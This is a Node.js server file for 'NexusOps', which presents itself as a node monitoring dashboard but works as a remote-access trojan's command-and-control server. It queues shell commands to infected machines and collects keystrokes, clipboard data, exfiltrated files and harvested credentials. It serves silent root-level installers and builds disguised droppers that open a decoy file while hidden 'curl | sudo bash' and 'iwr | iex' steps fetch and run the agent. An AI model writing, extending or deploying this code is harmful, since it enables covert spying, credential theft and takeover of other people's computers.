const express = require('express'); const http = require('http'); const WebSocket = require('ws'); const path = require('path'); const cors = require('cors'); const os = require('os'); const multer = require('multer'); const fs = require('fs'); const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); const app = express(); const server = http.createServer(app); const wss = new WebSocket.Server({ server }); const PORT = process.env.PORT || 3000; const PUBLIC_URL = process.env.PUBLIC_URL || null; const DATA_DIR = path.join(__dirname, 'data'); // Ensure data directory exists if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true }); app.use(cors()); app.use(express.json({ limit: '50mb' })); app.use(express.static(path.join(__dirname, 'public'))); // ── Auth ── const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; if (!AUTH_TOKEN) { console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); } const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; function authMiddleware(req, res, next) { if (!AUTH_TOKEN) return next(); if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); const h = req.headers.authorization || ''; if (h === 'Bearer ' + AUTH_TOKEN) return next(); if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); return res.status(401).json({ error: 'unauthorized' }); } app.use(authMiddleware); app.get('/api/auth/check', (req, res) => { if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); res.json({ ok: true, authRequired: true }); }); function getLocalIp() { const interfaces = os.networkInterfaces(); for (const name of Object.keys(interfaces)) { for (const net of interfaces[name]) { if (net.family === 'IPv4' && !net.internal) { return net.address; } } } return 'localhost'; } const SERVER_IP = getLocalIp(); const nodes = new Map(); const commandQueues = new Map(); const commandHistory = []; const masterSystemLogs = []; const inputDataStore = []; const MAX_INPUT_STORE = 500; const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp } const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } // ── Persistence ── let _saveLock = false; function _atomicWrite(file, data) { const tmp = file + '.tmp'; fs.writeFileSync(tmp, data); fs.renameSync(tmp, file); } function saveData() { if (_saveLock) return; _saveLock = true; try { _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); } catch(e) { /* silent */ } finally { _saveLock = false; } } function loadData() { try { const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); } catch(e) { /* first run */ } } loadData(); // Auto-save every 30 seconds setInterval(saveData, 30000); setInterval(() => { const now = Date.now(); let changed = false; nodes.forEach((node, id) => { if (node.status === 'online' && now - node.lastHeartbeat > 20000) { node.status = 'offline'; changed = true; } }); if (changed) { broadcastState(); } }, 5000); let _lastSaveTime = 0; function broadcastState() { const now = Date.now(); if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } const payload = JSON.stringify({ type: 'NODES_UPDATE', serverIp: SERVER_IP, port: PORT, publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, nodes: Array.from(nodes.values()), commandHistory: commandHistory.slice(-50), masterSystemLogs: masterSystemLogs.slice(-100), inputData: inputDataStore.slice(-200) }); wss.clients.forEach(client => { if (client.readyState === WebSocket.OPEN) { client.send(payload); } }); } wss.on('connection', (ws, req) => { // Auth check on WS upgrade if (AUTH_TOKEN) { const url = new URL(req.url, 'http://localhost'); if (url.searchParams.get('token') !== AUTH_TOKEN) { ws.close(4401, 'unauthorized'); return; } } ws.isAlive = true; ws.on('pong', () => { ws.isAlive = true; }); ws.send(JSON.stringify({ type: 'NODES_UPDATE', serverIp: SERVER_IP, port: PORT, publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, nodes: Array.from(nodes.values()), commandHistory: commandHistory.slice(-50), masterSystemLogs: masterSystemLogs.slice(-100), inputData: inputDataStore.slice(-200) })); }); // WS heartbeat: ping every 25s, drop dead clients setInterval(() => { wss.clients.forEach(ws => { if (ws.isAlive === false) return ws.terminate(); ws.isAlive = false; try { ws.ping(); } catch(e) {} }); }, 25000); // REST API Endpoints app.get('/api/status', (req, res) => { res.json({ serverIp: SERVER_IP, port: PORT, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, totalNodes: nodes.size, onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length }); }); app.get('/api/nodes', (req, res) => { res.json(Array.from(nodes.values())); }); app.get('/api/logs', (req, res) => { res.json(masterSystemLogs.slice(-100)); }); // CSV Telemetry Export Endpoint app.get('/api/export/csv', (req, res) => { let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; nodes.forEach(node => { const tagsStr = (node.tags || []).join(';'); csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; }); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); res.send(csv); }); // Agent System Log Streaming Endpoint app.post('/api/agent/logs', (req, res) => { const { nodeId, hostname, logs } = req.body; if (Array.isArray(logs)) { logs.forEach(logLine => { masterSystemLogs.push({ id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, nodeId, hostname: hostname || 'Unknown', timestamp: Date.now(), entry: logLine }); }); if (masterSystemLogs.length > 200) { masterSystemLogs.splice(0, masterSystemLogs.length - 200); } broadcastState(); } res.json({ success: true }); }); // Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus app.post('/api/agent/input-capture', (req, res) => { const { nodeId, hostname, events } = req.body; if (!nodeId || !Array.isArray(events)) { return res.status(400).json({ error: 'nodeId and events[] required' }); } events.forEach(ev => { inputDataStore.push({ id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, nodeId, hostname: hostname || 'Unknown', timestamp: ev.timestamp || Date.now(), eventType: ev.eventType || 'unknown', data: ev.data || {}, windowTitle: ev.windowTitle || '', processName: ev.processName || '' }); }); if (inputDataStore.length > MAX_INPUT_STORE) { inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); } if (events.length > 0) { broadcastState(); } res.json({ success: true, stored: events.length }); }); // Retrieve input capture data app.get('/api/inputs', (req, res) => { const { nodeId, eventType, limit } = req.query; let filtered = inputDataStore; if (nodeId) { filtered = filtered.filter(e => e.nodeId === nodeId); } if (eventType) { filtered = filtered.filter(e => e.eventType === eventType); } const max = parseInt(limit) || 200; res.json(filtered.slice(-max)); }); // ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── app.post('/api/bind', upload.single('file'), (req, res) => { if (!req.file) { return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); } const originalName = req.file.originalname; const b64Content = req.file.buffer.toString('base64'); const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const format = (req.query.format || 'sh').toLowerCase(); let dropper, boundName, contentType; if (format === 'ps1') { const psLines = [ '<#', ' Self-Extracting Dropper — ' + originalName, ' NexusOps Agent Binder (Windows)', '#>', '', '$ORIGINAL_NAME = "' + originalName + '"', '$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"', '$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"', '$SERVER_URL = "' + serverUrl + '"', '', 'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null', '', '$scriptPath = $MyInvocation.MyCommand.Path', '$lines = Get-Content $scriptPath', '$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")', 'if ($markerIdx -ge 0) {', ' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")', ' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))', '}', '', 'Start-Process $OUTPUT_FILE -WindowStyle Normal', '', 'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden', '', 'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden', '', '__PAYLOAD_BASE64__', ...b64Lines ]; dropper = psLines.join('\r\n'); boundName = originalName + '.ps1'; contentType = 'text/plain'; } else { dropper = [ '#!/bin/bash', '# ═══════════════════════════════════════════════════', `# Self-Extracting Dropper — ${originalName}`, '# ═══════════════════════════════════════════════════', 'set -e', '', `ORIGINAL_NAME="${originalName}"`, 'OUTPUT_DIR="/tmp/.nexus-$$"', 'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"', `SERVER_URL="${serverUrl}"`, '', 'mkdir -p "$OUTPUT_DIR"', '', 'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")', 'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null', '', '# Open with default handler', 'if command -v xdg-open &>/dev/null; then', ' xdg-open "$OUTPUT_FILE" 2>/dev/null &', 'elif command -v open &>/dev/null; then', ' open "$OUTPUT_FILE" 2>/dev/null &', 'elif command -v start &>/dev/null; then', ' start "$OUTPUT_FILE" 2>/dev/null &', 'fi', '', '# Silently install agent in background', '(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &', '(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &', '', '(sleep 60 && rm -rf "$OUTPUT_DIR") &', 'disown', '', 'exit 0', '__PAYLOAD_BASE64__', b64Content ].join('\n'); boundName = originalName + '.sh'; contentType = 'application/x-sh'; } res.setHeader('Content-Type', contentType); res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`); res.send(dropper); }); app.post('/api/agent/register', (req, res) => { const { hostname, platform, arch, ip, osName, tags } = req.body; const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`; const existingNode = nodes.get(nodeId); const now = Date.now(); const nodeData = { id: nodeId, hostname: hostname || 'Unknown-Host', platform: platform || 'linux', arch: arch || 'x64', osName: osName || platform, ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1', status: 'online', firstSeen: existingNode ? existingNode.firstSeen : now, lastHeartbeat: now, cpuUsage: 0, memUsage: 0, diskUsage: 0, uptime: 0, processCount: 0, tags: tags || ['Default'], heartbeatInterval: 5, metricsHistory: existingNode ? existingNode.metricsHistory : [] }; nodes.set(nodeId, nodeData); if (!commandQueues.has(nodeId)) { commandQueues.set(nodeId, []); } broadcastState(); res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` }); }); // Agent Heartbeat app.post('/api/agent/heartbeat', (req, res) => { const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body; if (!nodeId || !nodes.has(nodeId)) { return res.status(404).json({ error: 'Node not registered.' }); } const node = nodes.get(nodeId); const now = Date.now(); node.status = 'online'; node.lastHeartbeat = now; node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage; node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage; node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage; node.uptime = uptime || node.uptime; node.processCount = processCount || node.processCount; if (tags) node.tags = tags; if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval; if (!node.metricsHistory) node.metricsHistory = []; node.metricsHistory.push({ timestamp: new Date().toLocaleTimeString(), cpu: node.cpuUsage, mem: node.memUsage, disk: node.diskUsage }); if (node.metricsHistory.length > 30) { node.metricsHistory.shift(); } nodes.set(nodeId, node); broadcastState(); const queue = commandQueues.get(nodeId) || []; const pendingCommands = [...queue]; commandQueues.set(nodeId, []); res.json({ success: true, commands: pendingCommands }); }); // Command Result Callback app.post('/api/agent/command-result', (req, res) => { const { commandId, nodeId, output, exitCode } = req.body; const entry = commandHistory.find(c => c.id === commandId); if (entry) { entry.status = exitCode === 0 ? 'completed' : 'failed'; entry.output = output; entry.completedAt = Date.now(); } broadcastState(); res.json({ success: true }); }); // Queue Command for Single Node app.post('/api/nodes/:id/command', (req, res) => { const nodeId = req.params.id; const { command, actionType, payload } = req.body; if (!nodes.has(nodeId)) { return res.status(404).json({ error: 'Node not found' }); } const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`; const actionName = actionType || 'raw_command'; const cmdObj = { id: commandId, actionType: actionName, payload: payload || { command }, command: command || actionName, createdAt: Date.now() }; if (!commandQueues.has(nodeId)) { commandQueues.set(nodeId, []); } commandQueues.get(nodeId).push(cmdObj); commandHistory.push({ id: commandId, nodeId, hostname: nodes.get(nodeId).hostname, command: command || `${actionName} (${JSON.stringify(payload)})`, status: 'queued', createdAt: Date.now(), output: '' }); broadcastState(); res.json({ success: true, commandId }); }); // Queue Bulk Command app.post('/api/nodes/bulk-command', (req, res) => { const { command, actionType, payload } = req.body; const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online'); if (onlineNodes.length === 0) { return res.status(400).json({ error: 'No online nodes available' }); } const queuedIds = []; onlineNodes.forEach(node => { const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`; const actionName = actionType || 'raw_command'; const cmdObj = { id: commandId, actionType: actionName, payload: payload || { command }, command: command || actionName, createdAt: Date.now() }; if (!commandQueues.has(node.id)) { commandQueues.set(node.id, []); } commandQueues.get(node.id).push(cmdObj); commandHistory.push({ id: commandId, nodeId: node.id, hostname: node.hostname, command: `[BULK] ${command || actionName}`, status: 'queued', createdAt: Date.now(), output: '' }); queuedIds.push(commandId); }); broadcastState(); res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds }); }); app.delete('/api/nodes/:id', (req, res) => { const nodeId = req.params.id; nodes.delete(nodeId); commandQueues.delete(nodeId); broadcastState(); res.json({ success: true }); }); // ── Kill Switch — shutdown all agents on all nodes ── app.post('/api/nodes/killswitch', (req, res) => { const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online'); if (onlineNodes.length === 0) { return res.json({ success: false, error: 'No online nodes to kill', count: 0 }); } onlineNodes.forEach(node => { if (!commandQueues.has(node.id)) commandQueues.set(node.id, []); commandQueues.get(node.id).push({ id: `kill-${Date.now()}`, actionType: 'kill_agent', payload: {}, command: 'kill_agent', createdAt: Date.now() }); }); broadcastState(); res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` }); }); // ── Export Input Capture as CSV ── app.get('/api/inputs/csv', (req, res) => { let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n'; inputDataStore.slice(-500).forEach(e => { const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""'); csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`; }); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"'); res.send(csv); }); // ── Ping node — latency check ── app.post('/api/nodes/:id/ping', (req, res) => { const nodeId = req.params.id; if (!nodes.has(nodeId)) { return res.status(404).json({ error: 'Node not found' }); } if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []); const cmdId = `ping-${Date.now()}`; commandQueues.get(nodeId).push({ id: cmdId, actionType: 'ping_check', payload: { timestamp: Date.now() }, command: 'ping_check', createdAt: Date.now() }); broadcastState(); res.json({ success: true, commandId: cmdId }); }); // ── File Exfiltration — agent sends file back ── app.post('/api/agent/file-result', (req, res) => { const { commandId, nodeId, hostname, filename, data, mime, error } = req.body; const entry = commandHistory.find(c => c.id === commandId); if (entry) { entry.status = error ? 'failed' : 'completed'; entry.completedAt = Date.now(); if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`; else entry.output = `[FILE ERROR] ${error}`; } if (!error && data) { const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`; exfiltratedFiles.set(fileId, { nodeId, hostname, filename, data, mime: mime || 'application/octet-stream', timestamp: Date.now(), size: Buffer.byteLength(data, 'base64') }); } broadcastState(); res.json({ success: true }); }); // ── Download exfiltrated file ── app.get('/api/files/:id', (req, res) => { const file = exfiltratedFiles.get(req.params.id); if (!file) return res.status(404).json({ error: 'File not found' }); const buf = Buffer.from(file.data, 'base64'); res.setHeader('Content-Type', file.mime); res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`); res.send(buf); }); // ── List exfiltrated files ── app.get('/api/files', (req, res) => { res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({ id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename, mime: f.mime, size: f.size, timestamp: f.timestamp }))); }); // ── Credential Harvest Result ── app.post('/api/agent/harvest-result', (req, res) => { const { commandId, nodeId, hostname, credentials, error } = req.body; const entry = commandHistory.find(c => c.id === commandId); if (entry) { entry.status = error ? 'failed' : 'completed'; entry.completedAt = Date.now(); entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`; } if (credentials && Array.isArray(credentials)) { credentials.forEach(c => { harvestedCredentials.push({ nodeId, hostname, type: c.type || 'unknown', data: c.data, timestamp: Date.now() }); }); if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500); } broadcastState(); res.json({ success: true }); }); // ── List harvested credentials ── app.get('/api/credentials', (req, res) => { const { nodeId } = req.query; let filtered = harvestedCredentials; if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId); res.json(filtered.slice(-200)); }); app.get('/install.sh', (req, res) => { const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `#!/bin/bash # Network Node Agent One-Liner Installer for Linux set -e SERVER_URL="${serverUrl}" INSTALL_DIR="/opt/network-agent" SERVICE_FILE="/etc/systemd/system/network-agent.service" echo "==================================================" echo " NexusOps Network Node Agent Installer " echo "==================================================" echo "Connecting to Server Endpoint: $SERVER_URL" mkdir -p "$INSTALL_DIR" echo "[1/3] Downloading agent script..." curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" chmod +x "$INSTALL_DIR/agent.py" echo "[2/4] Configuring systemd background daemon..." cat << EOF > "$SERVICE_FILE" [Unit] Description=NexusOps Node Telemetry & Management Agent After=network.target [Service] Type=simple ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent Restart=always RestartSec=5 User=root [Install] WantedBy=multi-user.target EOF echo "[3/4] Installing pynput for keystroke/click capture..." pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping" echo "[4/4] Enabling & Starting Agent Service..." systemctl daemon-reload systemctl enable network-agent systemctl restart network-agent echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL" `; res.setHeader('Content-Type', 'text/plain'); res.send(script); }); app.get('/install.ps1', (req, res) => { const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `# Network Agent PowerShell Installer for Windows $SERVER_URL = "${serverUrl}" $INSTALL_DIR = "C:\\ProgramData\\NetworkAgent" Write-Host "==================================================" -ForegroundColor Cyan Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan Write-Host "==================================================" -ForegroundColor Cyan Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow if (!(Test-Path $INSTALL_DIR)) { New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null } Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py" Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green `; res.setHeader('Content-Type', 'text/plain'); res.send(script); }); app.get('/install-mac.sh', (req, res) => { const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `#!/bin/bash # macOS Node Agent Installer — launchd background daemon set -e SERVER_URL="${serverUrl}" INSTALL_DIR="/opt/network-agent" PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist" echo "==================================================" echo " NexusOps Node Agent Installer (macOS) " echo "==================================================" echo "Connecting to Server Endpoint: $SERVER_URL" echo "[1/4] Creating installation directory..." sudo mkdir -p "$INSTALL_DIR" sudo chown "$(whoami)" "$INSTALL_DIR" echo "[2/4] Downloading cross-platform Python agent..." curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" chmod +x "$INSTALL_DIR/agent.py" echo "[3/4] Installing pynput for input capture..." python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping" echo "[4/4] Configuring launchd background daemon..." mkdir -p "$HOME/Library/LaunchAgents" cat << EOF > "$PLIST_FILE" Label com.nexusops.agent ProgramArguments /usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL RunAtLoad KeepAlive StandardOutPath $INSTALL_DIR/agent.log StandardErrorPath $INSTALL_DIR/agent.log EOF # Bootstrap launchd job (modern macOS — load/unload are deprecated) launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true launchctl bootstrap gui/$(id -u) "$PLIST_FILE" launchctl kickstart gui/$(id -u)/com.nexusops.agent echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL" echo " To stop: launchctl unload $PLIST_FILE" `; res.setHeader('Content-Type', 'text/plain'); res.send(script); }); // ── Universal Auto-Install (one command, any OS, fully silent) ── app.get('/install', (req, res) => { const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const silent = req.query.silent !== '0'; // silent by default const quiet = silent ? '>/dev/null 2>&1' : ''; const script = `#!/bin/bash # NexusOps Universal Auto-Installer — one command, any OS SERVER_URL="${serverUrl}" echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL" case "$(uname -s 2>/dev/null || echo Windows)" in Linux) echo "[*] Linux detected — deploying via systemd" curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & ;; Darwin) echo "[*] macOS detected — deploying via launchd" curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} & ;; CYGWIN*|MINGW*|MSYS*|Windows) echo "[*] Windows detected — deploying via PowerShell" powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} & ;; *) echo "[!] Unknown OS — trying Linux installer as fallback" curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & ;; esac echo "[*] Agent deployment initiated — it will register within 10 seconds" `; res.setHeader('Content-Type', 'text/plain'); res.send(script); }); app.get('/agent.py', (req, res) => { res.sendFile(path.join(__dirname, 'agents', 'agent.py')); }); server.listen(PORT, '0.0.0.0', () => { const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`; console.log(`=======================================================`); console.log(`🚀 NexusOps Central Node Control Server is running!`); console.log(`🌐 Local Web UI: http://localhost:${PORT}`); console.log(`📡 Network Endpoint: ${publicEndpoint}`); if (PUBLIC_URL) { console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`); } console.log(`=======================================================`); });